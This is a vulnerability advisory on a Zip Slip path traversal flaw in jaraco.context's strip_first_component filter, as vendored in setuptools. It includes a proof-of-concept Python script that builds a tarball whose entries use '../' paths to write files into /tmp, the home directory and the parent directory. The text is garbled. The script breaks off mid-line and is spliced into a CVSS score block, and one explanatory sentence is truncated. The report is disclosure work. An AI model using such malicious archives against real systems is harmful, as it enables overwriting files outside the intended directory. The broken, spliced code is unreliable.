There is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in jaraco.context.tarball() function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The stripfirstcomponent filter splits the path on the first / and extracts the second component, while allowing ../ sequences. Paths like dummydir/../../etc/passwd become ../../etc/passwd. Note that this suffers from a nested tarball attack as well with multi-level tar files such as dummydir/inner.tar.gz, where the inner.tar.gz includes a traversal dummydir/../../config/.env that also gets translated to ../../config/.env.
The code can be found:
- https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/init.py#L74-L91
- https://github.com/pypa/setuptools/blob/main/setuptools/vendor/jaraco/context.py#L55-L76 (inherited)
This report was also sent to setuptools maintainers and they asked some questions regarding this.
The lengthy answer is:
The vulnerability seems to be the stripfirstcomponent filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball). The stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.
The short answer is:
If we are talking about Python
// detailsThe flow with setuptools in the mix:
setuptools._vendor.jaraco.context.tarball() > req = urlopen(url) > with tarfile.open(fileobj=req, mode='r|*') as tf: > tf.extractall(path=target_dir, filter=strip_first_component) > strip_first_component (Vulnerable)// poc
This was tested on multiple Python versions > 11 on a Debian GNU 12 (bookworm). You can run this directly after having all the dependencies:
#!/usr/bin/env python3
import tarfile
import io
import os
import sys
import shutil
import tempfile
from setuptools._vendor.jaraco.context import strip_first_component
def create_malicious_tarball(traversal_to_root: str):
tar_data = io.BytesIO()
with tarfile.open(fileobj=tar_data, mode='w') as tar:
# Create a malicious file path with traversal sequences
malicious_files = [
# Attempt 1: Simple traversal to /tmp
{
'path': f'dummy_dir/{traversal_to_root}tmp/pwned_by_zipslip.txt',
'content': b'[ZIPSLIP] File written to /tmp via path traversal!',
'name': 'pwned_via_tmp'
},
# Attempt 2: Try to write to home directory
{
'path': f'dummy_dir/{traversal_to_root}home/pwned_home.txt',
'content': b'[ZIPSLIP] Attempted write to home directory',
'name': 'pwned_via_home'
},
# Attempt 3: Try to write to current directory parent
{
'path': 'dummy_dir/../escaped.txt',
'content': b'[ZIPSLIP] File in parent directory!',
'name': 'pwned_escaped'
},
# Attempt 4: Legitimate file for comparison
{
'path': 'dummy_dir/legitimate_file.txt',
'content': b'This file stays in target directory',
'name': 'legitimate'
}
]
for file_info in malicious_files:
content = file_info['content']
tarinfo = tarfile.TarInfo(name=file_info['path'])
tarinfo.size = len(content)
tar.addfile(tarinfo, io.BytesIO(content))
tar_data.seek(0)
return tar_data
def exploit_zipslip():
print(\"[*] Target: setuptools._vendor.jaraco.context.tarball()\")
# Create temporary directory for extraction
temp_base = tempfile.mkdtemp(prefix=\"zipslip_test_\")
target_dir = os.path.join(temp_base, \CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- None
- Availability
- None